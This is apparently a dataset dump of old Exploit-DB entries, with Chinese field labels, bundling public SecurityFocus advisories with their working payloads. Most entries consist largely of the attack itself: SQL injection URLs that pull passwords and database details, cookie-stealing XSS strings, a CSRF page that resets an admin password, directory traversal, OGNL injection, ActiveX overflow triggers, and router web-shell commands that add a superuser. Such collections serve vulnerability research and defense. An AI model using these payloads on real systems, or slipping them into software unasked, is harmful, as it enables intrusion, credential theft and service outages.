QLWD/code_shield huggingface dataset:
标题: VeryPDF PDFView - ActiveX Component Heap Buffer Overflow EDB-ID: 32587 CVE: 2008-5492 类型: DOS 平台: WINDOWS 发布日期: 2008-11-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/32313/info

The VeryPDF PDFView ActiveX control is prone to a heap buffer-overflow vulnerability because it fails to properly bounds-check user-supplied data before copying it into an insufficiently sized memory buffer.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in denial-of-service conditions. 

<object classid='clsid:433268D7-2CD4-43E6-AA24-2188672E7252' id='target'></object> <script language='vbscript'> Sub Boom buff = String(1006, "A") target.OpenPDF buff, 1, 1 End Sub </script> <input type=button onclick=Boom() value='Boom?'> URL: https://www.exploit-db.com/exploits/32587
标题: Softbiz Classifieds Script - Cross-Site Scripting EDB-ID: 32595 CVE: 2008-6306 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/32375/info

Softbiz Classifieds Script is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/signinform.php?msg=Hacked%20By%20Vahid%20Ezraeil%20At%20North% URL: https://www.exploit-db.com/exploits/32595
标题: GeSHi 1.0.x - XML Parsing Remote Denial of Service EDB-ID: 32596 CVE: 2008-5185 类型: DOS 平台: MULTIPLE 发布日期: 2008-11-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/32377/info

GeSHi is prone to a remote denial-of-service vulnerability.

Remote attackers can exploit this issue to cause the vulnerable application to enter an infinite loop, consuming excessive resources.

This issue affects versions prior to GeSHi 1.0.8. 

The following example exploit is available:

< URL: https://www.exploit-db.com/exploits/32596
标题: BoutikOne CMS - 'search_query' Cross-Site Scripting EDB-ID: 32588 CVE: 2008-5126 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/32321/info

BoutikOne CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/search.php?lang=1&sort=Ref&search_query='"></title><script>alert(1337)</script>><marquee><h1>XSS</h1></marquee> URL: https://www.exploit-db.com/exploits/32588
标题: Netgear WGR614 - Administration Interface Remote Denial of Service EDB-ID: 32583 CVE: 2008-6122 类型: DOS 平台: HARDWARE 发布日期: 2008-11-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/32290/info

NETGEAR WGR614 is prone to a denial-of-service vulnerability that occurs in the administration web interface.

Successful exploits will cause the affected web interface to crash, denying service to legitimate users.

http://www.example.com/? URL: https://www.exploit-db.com/exploits/32583
标题: Microsoft Windows Vista/2003 - 'UnhookWindowsHookEx' Local Denial of Service EDB-ID: 32573 CVE: 2008-5044 类型: DOS 平台: WINDOWS 发布日期: 2008-11-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/32206/info

Microsoft Windows is prone to a local denial-of-service vulnerability.

Attackers may exploit this issue to deny further service to legitimate users.

This issue affects Windows 2003 and Windows Vista; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32573.zip URL: https://www.exploit-db.com/exploits/32573
标题: Dizi Portali - 'film.asp' SQL Injection EDB-ID: 32577 CVE: 2008-5057 类型: WEBAPPS 平台: ASP 发布日期: 2008-11-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/32239/info

Dizi Portali is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/film.asp?film=1+union+select+0,1,sifre,3,4,5+from+ayarlar URL: https://www.exploit-db.com/exploits/32577
标题: Sun Java System Identity Manager 6.0/7.x - Multiple Vulnerabilities EDB-ID: 32579 CVE: 2008-5115 类型: WEBAPPS 平台: JSP 发布日期: 2008-11-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/32262/info


Sun Java System Identity Manager is prone to multiple web-interface vulnerabilities, including a cross-site request-forgery issue, multiple cross-site scripting issues, multiple HTML-injection issues, and a directory-traversal vulnerability.

Successful exploits of many of these issues will allow an attacker to completely compromise the affected application.

These issues affect the following versions:

Sun Java System Identity Manager 6.0
Sun Java System Identity Manager 6.0 SP1
Sun Java System Identity Manager 6.0 SP2
Sun Java System Identity Manager 6.0 SP3
Sun Java System Identity Manager 6.0 SP4
Sun Java System Identity Manager 7.0
Sun Java System Identity Manager 7.1 

<html> <h1>CSRF attack demo - changes administrative password to 'Password19'</h1> <script> var img = new Image(); img.src = 'https://target.tld/idm/admin/changeself.jsp?id=&command=Save&activeControl=&resourceAccounts.password=Password19&resourceAccounts.confirmPassword=Passwo rd19&resourceAccounts.currentResourceAccounts%5BLighthouse%5D.selected=true'; </script> </html> URL: https://www.exploit-db.com/exploits/32579
标题: Zeeways Shaadi Clone 2.0 - Authentication Bypass (2) EDB-ID: 32575 CVE: 2008-6912 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/32222/info

Zeeways SHAADICLONE is prone to an authentication-bypass vulnerability.

Attackers can exploit this issue to gain administrative access to the affected application.

SHAADICLONE 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/home.php URL: https://www.exploit-db.com/exploits/32575
标题: firmCHANNEL Indoor & Outdoor Digital Signage 3.24 - Cross-Site Scripting EDB-ID: 32566 CVE: 2008-4931 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/32107/info

firmCHANNEL Indoor & Outdoor Digital SIGNAGE is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

firmCHANNEL Indoor & Outdoor Digital SIGNAGE 3.24 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?module=account&action=login%3Cscript%3Ealert(%27xss%27);%3C/script%3E URL: https://www.exploit-db.com/exploits/32566
标题: Anti-Trojan Elite 4.2.1 - 'Atepmon.sys' IOCTL Request Local Overflow / Local Privilege Escalation EDB-ID: 32572 CVE: 2008-5048 类型: LOCAL 平台: WINDOWS 发布日期: 2008-11-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/32202/info

ISecSoft Anti-Trojan Elite and Anti-Keylogger Elite are prone to multiple local privilege-escalation vulnerabilities.

An attacker can exploit these issues to execute arbitrary code with elevated privileges, which may facilitate a complete compromise of the affected computer.

The following applications are vulnerable:

Anti-Trojan Elite 4.2.1 and earlier
Anti-Keylogger Elite 3.3.0 and earlier

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32572-1.zip (AKEProtect_Exp.zip)
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/32572-2.zip (Atepmon_DoS.zip) URL: https://www.exploit-db.com/exploits/32572
标题: DHCart 3.84 - Multiple Cross-Site Scripting / HTML Injection Vulnerabilities EDB-ID: 32567 CVE: 2008-6297 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/32117/info

DHCart is prone to multiple cross-site scripting and HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and to control how the site is rendered to the user; other attacks are also possible.

DHCart 3.84 is vulnerable; other versions may also be affected.

http://www.example.com/order.php?dhaction=check&submit_domain=Register&domain=%22%3E%3Cscript%3Ealert%28%29%3C%2Fscript%3E&ext1=on

http://www.example.com/order.php?dhaction=add&d1=lalalalasss%22%3E%3Cscript%3Ealert(1)%3C/script%3E&x1=.com&r1=0&h1=1&addtocart1=on&n=3 URL: https://www.exploit-db.com/exploits/32567
标题: Struts 2.0.11 - Multiple Directory Traversal Vulnerabilities EDB-ID: 32565 CVE: 2008-6505 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-11-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/32104/info

Struts is prone to multiple directory-traversal vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit these issues using directory-traversal strings ('../') to download arbitrary files with the privileges of the webserver process. Information obtained may aid in further attacks.

Versions prior to Struts 2.0.12 are vulnerable. 

http://www.example.com:8080/struts2-blank-2.0.11.1/struts..
http://www.example.com:8080/struts2-blank-2.0.11.1/struts/..%252f
http://www.example.com:8080/struts2-blank-2.0.11.1/struts/..%252f..%252f..%252fWEB-INF/classess/example/Log\in.class/ URL: https://www.exploit-db.com/exploits/32565
标题: XWork < 2.0.11.2 - 'ParameterInterceptor' Class OGNL Security Bypass EDB-ID: 32564 CVE: 2008-6504 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-11-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/32101/info

XWork is prone to a security-bypass vulnerability because it fails to adequately handle user-supplied input.

Attackers can exploit this issue to manipulate server-side context objects with the privileges of the user running the application. Successful exploits can compromise the application and possibly the underlying computer.

Versions prior to XWork 2.0.6 are vulnerable. Struts 2.0.0 through 2.0.11.2 contain vulnerable versions of XWorks and are therefore also affected. 

To set #session.user to '0wn3d':

('\u0023' + 'session[\'user\']')(unused)=0wn3d URL: https://www.exploit-db.com/exploits/32564
标题: YourFreeWorld Downline Builder Pro - 'tr.php' SQL Injection EDB-ID: 32563 CVE: 2008-4895 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/32047/info

Downline Builder Pro is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/tr.php?id=-1+union+select+1,2,3,concat_ws(0x3a,user(),version(),database()),5,6,7,8,9,10,11,12,13-- URL: https://www.exploit-db.com/exploits/32563
标题: phpWebSite 0.9.3 - 'links.php' SQL Injection EDB-ID: 32553 CVE: 2008-6266 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/32011/info

phpWebSite is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

We don't know which versions of phpWebSite are affected. We will update this BID as more information emerges.

NOTE: The vendor refutes this issue, stating that the vulnerable script has not been present in the application since either the 0.8.x or 0.9.x releases. 

http://www.example.com/links.php?op=viewlink&cid=5+and+1=2+union+select+concat(version(),0x3a,database(),0x3a,user())-- URL: https://www.exploit-db.com/exploits/32553
标题: SonicWALL - Content Filtering Blocked Site Error Page Cross-Site Scripting EDB-ID: 32552 CVE: 2008-4918 类型: REMOTE 平台: HARDWARE 发布日期: 2008-10-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/31998/info

SonicWALL Content Filtering is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input when displaying URI address data in a blocked-site error page.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of an arbitrary site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Versions prior to SonicWALL Content Filtering on SonicOS Enhanced 4.0.1.1 are vulnerable. 

http://www.example.com/fuck<script>alert(document.cookie</script> URL: https://www.exploit-db.com/exploits/32552
标题: Dovecot 1.1.x - Invalid Message Address Parsing Denial of Service EDB-ID: 32551 CVE: 2008-4907 类型: DOS 平台: LINUX 发布日期: 2008-10-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/31997/info

Dovecot is prone to a remote denial-of-service vulnerability because it fails to handle certain specially crafted email headers.

An attacker can exploit this issue to prevent recipients from accessing their mailboxes.

For an exploit to succeed, the IMAP client connecting to Dovecot must use the FETCH ENVELOPE command.

The issue affects Dovecot 1.1.4 and 1.1.5. 

The following invalid message address header is sufficient to trigger this issue:

"From: (" URL: https://www.exploit-db.com/exploits/32551
标题: Extrakt Framework 0.7 - 'index.php' Cross-Site Scripting EDB-ID: 32547 CVE: 2008-6217 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/31971/info

Extrakt Framework is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize
user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Extrakt Framework 0.7 is vulnerable; other versions may also be affected. 

http://www.example.com/[SCRIPT_DIR]/index.php?plugins[file][id]=<script>alert(2008);</script> URL: https://www.exploit-db.com/exploits/32547
标题: Microsoft DebugDiag 1.0 - 'CrashHangExt.dll' ActiveX Control Remote Denial of Service EDB-ID: 32550 CVE: 2008-4800 类型: DOS 平台: WINDOWS 发布日期: 2008-10-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/31996/info

Microsoft DebugDiag 'CrashHangExt.dll' ActiveX control is prone to a denial-of-service vulnerability because of a NULL-pointer dereference error.

A successful attack allows a remote attacker to crash the application using the ActiveX control (typically Internet Explorer), denying further service to legitimate users.

Microsoft DebugDiag 1.0 is vulnerable; other versions may also be affected. 

<body> <object classid='clsid:7233D6F8-AD31-440F-BAF0-9E7A292A53DA' id='target' /> </object> <script language='vbscript'> arg1=-2147483647 target.GetEntryPointForThread arg1 </script> </body> URL: https://www.exploit-db.com/exploits/32550
标题: KKE Info Media Kmita Gallery - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32544 CVE: 2008-5068 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/31970/info

Kmita Gallery is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/kmitag/index.php?begin=10<script>alert(document.cookie);</script>&catid=3

http://www.example.com/kmitag/search.php?searchtext=<script>alert(document.cookie);</script>&Search=Search URL: https://www.exploit-db.com/exploits/32544
标题: KKE Info Media Kmita Catalogue 2 - 'search.php' Cross-Site Scripting EDB-ID: 32543 CVE: 2008-5067 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/31968/info

Kmita Catalogue is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Kmita Catalogue V2 is vulnerable; other versions may also be affected. 

http://www.example.com/search.php?q=<script>alert(document.cookie);</script>&Search=Search URL: https://www.exploit-db.com/exploits/32543
标题: PHP-Nuke Nuke League Module - 'tid' Cross-Site Scripting EDB-ID: 32538 CVE: 2008-5039 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/31952/info

PHP-Nuke Nuke League module is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/modules.php?name=League&file=index&op=team&tid=[XSS] URL: https://www.exploit-db.com/exploits/32538
标题: H&H Solutions WebSoccer 2.80 - 'id' SQL Injection EDB-ID: 32541 CVE: 2008-5064 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/31963/info

H&H Solutions WebSoccer is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

H&H Solutions WebSoccer 2.80 is vulnerable; other versions may also be affected. 

http://www.example.com/liga.php?id=1'UNION SELECT concat_ws(0x3a,version(),database(),user()),2,3,4,5/* URL: https://www.exploit-db.com/exploits/32541
标题: bcoos 1.0.13 - 'click.php' SQL Injection EDB-ID: 32536 CVE: 2007-6080 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/31941/info

The 'bcoos' program is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects bcoos 1.0.13; other versions may also be affected.

http://www.example.com/[p4th]/modules/banners/click.php?bid=-1' union+select+pass+from+bcoos_users+limit 1,0/* URL: https://www.exploit-db.com/exploits/32536
标题: Allied Telesis AT-RG634A ADSL Broadband Router - Web Shell EDB-ID: 32545 CVE: 2014-1982 类型: WEBAPPS 平台: HARDWARE 发布日期: 2014-03-26 漏洞利用脚本: *Title:*

Allied Telesis AT-RG634A ADSL Broadband router hidden administrative
unauthenticated webshell.

*Vulnerability Information:*
- CVE: CVE-2014-1982
- Type of Vulnerability:
  - CWE-78  : OS Command Injection
  - CWE-306 : Missing Authentication for Critical Function

*Affected products:*

- Allied Telesis AT-RG634A ADSL Broadband router. (version 3.3+ and
probably others)

Other products like,
   - Allied Telesis iMG624A  (firmware version, 3.5)
   - Allied Telesis iMG616LH (firmware version, +2.4)
   - Allied Telesis iMG646BD (firmware version, 3.5)

*Vendor:*
- Allied Telesis : http://www.alliedtelesis.com//


has the same vulnerbility, but the vendor reports that the version
3.8.05 of the firmware has already addressed this issue, but we where
unable to test nor confirm this information.

*Security Patches / Workaround:*

- Allied Telesis has noted that the AT-RG634A product is no longer
supported, but gives a workaround
to mitigate the issue.

Configure the device so that only trusted devices can
access the target device using the following command,

"WEBSERVER SET MANAGEMENTIP <ip-address>"

*Short Description:*

The Allied Telesis AT-RG634A ADSL Broadband router has a hidden url
page in their admnistrative HTTP interface capable of executing
commands as admin without requiring any kind of authentication.

*Description:*

"The AT-RG634 is a full-featured, broadband media gateway and router
designed for cost-effective delivery of advanced IP Triple Play voice,
video and data services over an ADSL infrastructure. The RG634
supports Layer 3 functions, including NAT, DMZ, and Stateful
inspection firewall for delivery of revenue-generating services such
as home networking and security services." (from
www.alliedtelesis.com/p-2345.html)

The Allied Telesis AT-RG634A ADSL Broadband router has a hidden URL
(/cli.html) page to execute CLI command with admin priviledges,
available by default and without any kind of authentication.

Having as impact a total compromise of the target device.

*Steps to reproduce:*

- Connect via HTTP to the hidden page http://<device IP>/cli.html a
input box is shown, every command typed there will be executed as admin.

Entering the following lines in the hidden page (/cli.html) a new
telnet admin user called "eviluser" is added to the system.

>> system add login eviluser system set user eviluser access
>> superuser.


*Credits:*

This security issue was discovered and researched by Sebastian Muniz
(topo), Security Researcher of Groundworks Technologies
(http://www.groundworkstech.com)


*License:*

The contents of this advisory are copyright (c) 2014 Groundworks
Technologies,and are licensed under a Creative Commons Attribution
Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/ URL: https://www.exploit-db.com/exploits/32545
标题: All In One 1.4 Control Panel - 'cp_polls_results.php' SQL Injection EDB-ID: 32537 CVE: 2008-4782 类型: WEBAPPS 平台: PHP 发布日期: 2008-10-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/31949/info

All In One Control Panel (AIOCP) is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

AIOCP 1.4 is vulnerable; other versions may also be affected. 

http://www.example.com/public/code/cp_polls_results.php?poll_language=eng&poll_id=-0+union+select+0,1,2,version(),4,5,6-- URL: https://www.exploit-db.com/exploits/32537